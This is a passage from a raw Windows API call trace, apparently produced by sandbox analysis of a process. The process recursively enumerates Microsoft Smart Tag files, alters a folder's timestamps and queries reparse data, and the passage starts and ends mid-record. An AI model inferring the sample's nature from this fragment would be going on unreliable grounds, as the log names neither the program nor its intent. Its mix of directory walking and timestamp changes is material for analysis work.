lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1 [0056.690] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93e94600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x583906f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x93e94600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x1b180, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f12000, ftCreationTime.dwHighDateTime=0x1c9a11f, ftLastAccessTime.dwLowDateTime=0x69a83910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85f12000, ftLastWriteTime.dwHighDateTime=0x1c9a11f, nFileSizeHigh=0x0, nFileSizeLow=0x120eb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="METCONV.TXT", cAlternateFileName="")) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e140 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f108 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0x0, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e160 [0056.691] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f210 [0056.691] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.691] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 1 [0056.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.692] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.692] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="")) returned 0 [0056.692] GetLastError () returned 0x12 [0056.692] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0056.692] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.692] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.692] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.692] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.692] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0056.702] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.702] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0056.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.702] NtClose (Handle=0x184) returned 0x0 [0056.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0056.702] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0056.702] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.702] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.702] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.702] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f318 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e180 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f420 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e1a0 [0056.703] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f528 [0056.703] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0056.703] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0056.703] GetLastError () returned 0x12 [0056.703] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0056.703] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.703] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="")) returned 0 [0056.704] GetLastError () returned 0x12 [0056.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0056.704] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0056.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9f318) returned 1 [0056.704] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x0, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="")) returned 1 [0056.704] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, 